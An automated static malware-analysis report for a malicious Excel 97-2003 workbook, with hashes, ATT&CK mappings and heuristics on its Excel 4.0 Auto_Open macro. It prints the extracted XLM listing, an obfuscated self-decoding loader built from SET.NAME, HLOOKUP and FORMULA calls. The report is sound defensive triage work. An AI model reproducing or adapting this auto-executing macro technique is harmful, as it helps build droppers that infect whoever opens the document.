Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00016ef15e81891b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:32 Authoring application: Microsoft Excel First seen: 2021-05-29
MD5: 0fc32a04ab8990cbaf9fa57ad4a46de5 SHA-1: f745874501c28040c6dad1288d5822a8ca548018 SHA-256: 00016ef15e81891b8bd2c89d5333e0d4ae8f9d9ae17e777d6708ba76920313e8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding. This indicates an attempt to automatically execute code upon opening the document. The presence of dangerous formula APIs like RUN further suggests malicious intent, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6443 bytes
SHA-256: a519552c36083fbe6113ce2536791bcaa4d0bb39e9102d4ae7133113e4ce1315
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YQBH
' 0018     22 LABEL : Cell Value, String Constant - AEhZYvo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F130 
' 0018     23 LABEL : Cell Value, String Constant - BTQIiKFT len=0 
' 0018     23 LABEL : Cell Value, String Constant - cicobSkg len=0 
' 0018     21 LABEL : Cell Value, String Constant - cqBluj len=0 
' 0018     25 LABEL : Cell Value, String Constant - EpqdBUFils len=0 
' 0018     25 LABEL : Cell Value, String Constant - FBSrFOPQIO len=0 
' 0018     26 LABEL : Cell Value, String Constant - FWSmVNLHgnw len=0 
' 0018     25 LABEL : Cell Value, String Constant - gGrDefUczI len=0 
' 0018     20 LABEL : Cell Value, String Constant - kmKut len=0 
' 0018     23 LABEL : Cell Value, String Constant - mtgjyfVE len=0 
' 0018     22 LABEL : Cell Value, String Constant - MVyXXSF len=0 
' 0018     22 LABEL : Cell Value, String Constant - OMBhKnd len=0 
' 0018     25 LABEL : Cell Value, String Constant - qknWivAUHa len=0 
' 0018     22 LABEL : Cell Value, String Constant - SnhcpgU len=0 
' 0018     26 LABEL : Cell Value, String Constant - sNkhhFKeLYx len=0 
' 0018     26 LABEL : Cell Value, String Constant - VAomZiUYcKw len=0 
' 0018     22 LABEL : Cell Value, String Constant - vLKEDFR len=0 
' 0018     23 LABEL : Cell Value, String Constant - vRtwEcZv len=0 
' 0018     27 LABEL : Cell Value, String Constant - wAEPeKudlblg len=0 
' 0018     23 LABEL : Cell Value, String Constant - XiMzQHie len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YQBH,F45,"SET.NAME("kmKut",VALUE("0"))",""
'  YQBH,F49,"SET.NAME("mtgjyfVE",kmKut)",""
'  YQBH,F54,"SET.NAME("cqBluj",kmKut)",""
'  YQBH,F59,"SET.NAME("EpqdBUFils",COUNTA(OMBhKnd))",""
'  YQBH,F61,"SET.NAME("cicobSkg",COUNTA(MVyXXSF))",""
'  YQBH,F63,[],""
'  YQBH,F67,"SET.NAME("BTQIiKFT","")",""
'  YQBH,F69,"mtgjyfVE",""
'  YQBH,F73,"SET.NAME("AEhZYvo",HLOOKUP("*",OMBhKnd,mtgjyfVE,FALSE))",""
'  YQBH,F75,"gGrDefUczI",""
'  YQBH,F78,"SET.NAME("XiMzQHie",kmKut)",""
'  YQBH,F82,[],""
'  YQBH,F84,"XiMzQHie",""
'  YQBH,F89,"SnhcpgU",""
'  YQBH,F91,"vLKEDFR",""
'  YQBH,F95,"FWSmVNLHgnw",""
'  YQBH,F98,"SET.NAME("FBSrFOPQIO",VALUE(HLOOKUP("*",MVyXXSF,FWSmVNLHgnw,FALSE)))",""
'  YQBH,F102,"VAomZiUYcKw",""
'  YQBH,F105,"BTQIiKFT",""
'  YQBH,F108,"cqBluj",""
'  YQBH,F111,NEXT(),""
'  YQBH,F115,"vRtwEcZv",""
'  YQBH,F119,"SET.NAME("f",INT(T(FORMULA(T(BTQIiKFT)&"",""&T(vRtwEcZv)))))",""
'  YQBH,F121,"qknWivAUHa",""
'  YQBH,F123,NEXT(),""
'  YQBH,F126,RETURN(),""
'  YQBH,F156,"SET.NAME("sNkhhFKeLYx",F45)",""
'  YQBH,F158,"OMBhKnd",""
'  YQBH,F161,"SET.NAME("MVyXXSF",R50C11)",""
'  YQBH,F165,"SET.NAME("qknWivAUHa",173)",""
'  YQBH,F169,"SET.NAME("wAEPeKudlblg",6)",""
'  YQBH,F172,sNkhhFKeLYx(),""
'  YQBH,F173,HALT(),""

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